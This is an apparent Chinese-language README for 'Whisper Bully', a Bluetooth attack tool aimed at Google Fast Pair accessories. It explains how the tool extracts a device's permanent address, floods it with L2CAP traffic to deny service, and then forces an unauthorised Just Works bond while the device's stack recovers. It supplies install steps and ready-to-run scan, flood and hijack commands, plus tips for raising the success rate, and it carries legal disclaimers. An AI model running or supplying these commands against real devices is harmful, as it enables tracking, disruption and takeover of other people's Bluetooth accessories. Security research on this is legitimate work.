蓝牙 BDADDR 提取、拒绝服务与劫持研究工具
© 2026 @Ymsniper — 仅限授权的安全研究。
Whisper Bully 是一个三阶段蓝牙安全研究工具,针对广播 Google Fast Pair(服务 UUID fe2c)的设备。它展示了两种未修补的攻击原语,这些原语超出了 CVE-2025-36911 固件补丁的范围:
⚠️ 此工具未实现 Whisper Pair(Fast Pair GATT)协议。 它从不写入基于密钥的配对特性(UUID 1236)或账户密钥特性(UUID 1238)。此处描述的攻击面与 CVE-2025-36911 配对模式检查补丁分开且未被其解决。
https://github.com/user-attachments/assets/67f2bcb6-38ad-4ba0-80c5-36dbb54f3f11
根本原因: 当 BLE 连接建立时,Linux BlueZ 主机协议栈处理 LL_CONNECTION_COMPLETE 事件,将设备的可解析私有地址(RPA)解析为其永久身份地址,并缓存在 BlueZ 设备表中。这发生在链路层 / HCI 级别,在任何 GATT 服务交互之前。不涉及任何 Fast Pair 协议。
代码实际执行的操作:
BleakScanner),寻找广播 Fast Pair 服务 UUID fe2c 的设备——仅用于目标识别,无协议交互BleakClient.connect() 建立一条普通 BLE 连接——不进行任何类型的 GATT 写入NoInputNoOutput,为步骤 4 做准备wb.py 第 452 行)bluetoothctl pair <rpa_addr>——标准蓝牙 SMP 配对尝试,非 Fast Pairbluetoothctl 标准输出中的 Bonded: yes 输出,该输出可能携带已绑定的地址bluetoothctl devices 并与初始 RPA 进行比较——任何具有相同设备名称但不同地址的条目即为永久身份地址,该地址在步骤 2 由 BlueZ 泄露为什么该补丁无法修复此问题:
CVE-2025-36911 固件修复在配件上向 Fast Pair GATT 基于密钥的配对特性处理器添加了配对模式检查。此工具从未写入该特性。身份地址泄漏发生在攻击者的 Linux 主机上,通过 BlueZ 自身的设备缓存——完全在配件的固件之外。
关键行为说明:
bluetoothctl pair 步骤失败或超时,提取也可能成功NoInputNoOutput 意味着对于 Just Works,任何一方都无需用户交互一旦知道永久地址,可选择使用修改版 l2flood 执行持续的 L2CAP 拒绝服务攻击。
整个工具使用两种模式:
-R 标志——EMP 模式(阶段 2 洪水)
无声的即发即弃爆发重连。所有线程同步其连接→爆发→强制关闭周期,使目标接收到周期性的完整 ACL 断开,而非可吸收的错开 L2CAP 通道混排。使用 SO_LINGER {1,0} 在每次关闭时立即进行 RST 断开。正常操作期间不产生标准输出——连接错误被抑制到标准错误,仅定期打印。
普通模式(阶段 3 劫持探测)
在不使用 -R 的情况下用于探测目标是否仍在响应。此模式也已改进——它现在自动处理重连,并在目标停止响应时输出 no response from <addr>: id N,这是 wb.py 监控以触发劫持的信号。
结果: 目标设备在洪水激活期间对正常连接尝试无响应。攻击停止后设备完全恢复——无永久性损坏。
多线程行为:
根本原因: 持续的 L2CAP 洪水导致目标设备的蓝牙协议栈崩溃或重置。在恢复窗口期间——在 Fast Pair GATT 服务重新注册之前,在安全管理器完全重新初始化之前——设备接受来自 NoInputNoOutput 的标准 SMP Just Works 绑定,而不需要通常限制绑定的 Fast Pair GATT 握手。生成的绑定是持久的:它在蓝牙适配器重置后仍然存在,并在 bluetoothctl info 中显示 Paired: yes / Bonded: yes。
为什么这是一个与 CVE-2025-36911 不同的发现:
CVE-2025-36911 补丁在 FP GATT 基于密钥的配对特性处理器中强制实施配对模式检查。阶段 3 从未接触该特性。绑定是在 FP GATT 服务器尚未重新初始化的窗口期间在 SMP 层建立的,因此从未到达 Fast Pair 安全门。完全修补的设备仍然对此漏洞敏感,因为补丁在协议栈恢复期间对 SMP 层没有可见性。
代码实际执行的操作:
l2flood -c -1 -t 2)以确认设备无响应——在输出中查找 no response from <addr>: id Nbluetoothctl connect <permanent_addr>NoInputNoOutput / NoInputNoOutput → Just Works 关联模型 → 绑定完成bluetoothctl connect 成功时返回退出码 0按设备状态的成功概率:
| 设备状态 | 预期结果 |
|---|---|
| 活跃于洪水中/无响应 | 成功率最高——协议栈在恢复期间处于降级状态 |
| 从洪水中恢复 | 成功率高——临时的 SM 重新初始化窗口 |
| 完全恢复 | 成功率较低——恢复正常安全性 |
| 已关机 | 失败 |
这是一个拒绝服务和未授权访问研究工具。
对不属于您自己或未经明确书面授权的设备使用此工具是联邦罪行,可能根据《计算机欺诈与滥用法》(18 U.S.C. § 1030) 及其他司法管辖区的等效法规处以监禁和罚款。
您只能在以下设备上使用此工具:
bluetoothctl 和原始 BLE 访问需要)bluetoothctl / BlueZl2flood——请参阅 kovmir/l2floodUbuntu / Debian:
sudo apt update
sudo apt install -y python3 python3-pip libdbus-1-dev libglib2.0-dev bluez
Fedora / RHEL / CentOS:
sudo dnf install -y python3 python3-pip dbus-devel glib2-devel bluez
Arch Linux:
sudo pacman -S python python-pip dbus glib bluez
Alpine Linux:
apk add --no-cache python3 py3-pip dbus-dev glib-dev bluez bluez-openrc
openSUSE:
sudo zypper install -y python3 python3-pip dbus-1-devel glib2-devel bluez
Void Linux:
sudo xbps-install -S python3 python3-pip dbus-devel glib-devel bluez
git clone https://github.com/Ymsniper/Whisper_Bully.git
cd Whisper_Bully
pip3 install -r requirements.txt
# 仅阶段 2/3 需要:
make
sudo make install
# 自动检测并提取所有附近的 Fast Pair 设备
sudo python3 wb.py
# 20 秒扫描,保存结果
sudo python3 wb.py -s 20 -o targets.json
# 30 秒扫描,自定义输出文件
sudo python3 wb.py -s 30 -o extracted.json
注意: 如果设备之前已被此工具或手动方式连接或配对,BlueZ 已知道其身份地址。请先移除设备以便干净地执行提取:
sudo bluetoothctl remove <address>
sudo python3 wb.py -s 20 -o targets.json
# 完成后:"Run aggressive L2CAP test... (yes/no)" → yes
# 仅阶段 1 + 阶段 2
sudo python3 wb.py -s 20 -o targets.json --aggressive
# 阶段 1 + 阶段 2 + 阶段 3
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack
# 带持续时间和线程数
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 8
# 从提取的目标文件洪水 120 秒
sudo python3 aggressive_test.py -f targets.json -d 120 -t 4
# 洪水单个已知地址 60 秒
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -d 60
# 永久洪水(按 Ctrl+C 停止)
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -f
# 集成——提取、洪水、然后劫持
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120
# 手动在已知地址上独立劫持
sudo python3 wb.py -H AA:BB:CC:DD:EE:FF
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 4
执行流程:
targets.json# 终端 1
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci0 -d 120 -t 4 &
# 终端 2
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci1 -d 120 -t 4
双倍 DoS 压力并在恢复窗口期间提高劫持成功概率。
FE2C 服务 UUID 仅用作扫描过滤器以识别候选目标。一旦建立 BLE 连接:
LL_CONNECTION_COMPLETEbluetoothctl devices 显示原始 RPA 和新注册的身份地址——相同的设备名称,不同的地址同时运行的 bluetoothctl pair 调用可能成功也可能失败——在配对命令完成或失败时,BDADDR 通常已在表中。
l2flood -R)此修改版 l2flood 根据预期阶段有两种模式:
-R 标志——EMP 模式(仅 DoS,无劫持)
用于独立运行阶段 2 而不继续到阶段 3。
无声的即发即弃爆发重连——所有线程同步其
连接→爆发→强制关闭周期,以确保周期性的完整 ACL 断开。
正常操作期间不产生标准输出。
普通模式(DoS + 劫持探测)
用于预期阶段 3 时。普通模式已改进,可自动处理
重连,并在目标停止响应时输出 no response from <addr>: id N
——这是 wb.py 监控以触发劫持尝试的信号。
生成的绑定不是临时连接——它是存储在 BlueZ 中的完整 SMP 绑定:
bluetoothctl info <addr> 显示 Paired: yes、Bonded: yes、Trusted: nobluetoothctl power off/on 周期后仍然存在/var/lib/bluetooth/ 中)bluetoothctl未发现设备
bluetoothctl 是否工作:sudo bluetoothctl list-s 30BLE 连接失败 / 提取失败
sudo bluetoothctl remove <addr>洪水无效果
-t 16权限被拒绝
sudo 运行bluetooth 组或作为 root 运行bleak 导入错误
sudo apt install libdbus-1-dev libglib2.0-devsudo dnf install dbus-devel glib2-develsudo pacman -S dbus glibD-Bus 错误
sudo systemctl start dbus && sudo systemctl start bluetoothMIT。详情请参阅 LICENSE。
此工具仅用于授权的安全测试和防御性研究。未经授权访问蓝牙设备是违法的。仅限在您拥有或已获得明确书面许可进行测试的设备上使用。作者对任何未经授权或非法使用不承担任何责任。
| CVE-2025-36911 (WhisperPair) | 本工具 |
|---|
| 使用的协议 | Fast Pair GATT KBP (UUID 1236 写入) | 无——仅普通 BLE 连接 |
| BDADDR 泄露路径 | 加密的 KBP 通知 (BR/EDR 地址) | BlueZ 在 LL_CONNECTION_COMPLETE 上的 RPA 解析 |
| 认证绕过路径 | FP 配对模式检查缺失 | 蓝牙协议栈恢复窗口期间的 SMP Just Works |
| 是否被 36911 补丁修复? | 是 | 否 |
| 是否适用于已修补的设备? | 否 | 是 |
| CWE | CWE-287 | CWE-200 (阶段 1) + CWE-362/CWE-287 (阶段 3) |
| 标志 | 描述 |
|---|
-s, --scan-time | BLE 扫描持续时间(以秒为单位,默认:10) |
-o, --output | 将提取的地址保存到 JSON 文件 |
--aggressive | 跳过提示,立即运行阶段 2(需要事先书面授权) |
-H, --hijack | 在阶段 2 后尝试阶段 3 劫持(需要 --aggressive 或交互式 yes) |
-d, --duration | 洪水持续时间(以秒为单位,默认:60)或 f 表示永久 |
-t, --threads | 并行 L2CAP 洪水线程数(默认:CPU 核心数) |
-i, --hci | 要使用的 HCI 适配器(例如 hci0、hci1) |